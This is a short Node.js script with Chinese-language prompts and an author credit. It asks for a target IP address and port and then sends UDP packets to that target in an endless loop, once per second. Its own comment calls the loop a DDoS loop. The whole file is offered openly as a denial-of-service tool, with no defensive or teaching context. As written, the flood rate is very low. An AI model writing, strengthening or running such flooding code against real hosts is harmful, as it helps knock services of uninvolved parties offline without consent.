const dgram = require('dgram');
const readline = require('readline');

const rl = readline.createInterface({
  input: process.stdin,
  output: process.stdout
});

const client = dgram.createSocket('udp4');

rl.question('请输入目标 IP 地址：', (targetIP) => {
  rl.question('请输入目标端口：', (targetPort) => {
    rl.close();
    const message = Buffer.from('数据');

    // DDoS 循环
    setInterval(() => {
      client.send(message, targetPort, targetIP, (err) => {
        if (err) {
          console.error('发送数据包错误：', err);
        } else {
          console.log('成功发送数据包至：', targetIP, '，端口：', targetPort);
        }
      });
    }, 1000); // 每秒发送一个数据包
  });
});

// 创作: sansjtw 金条k sansjtw.xyz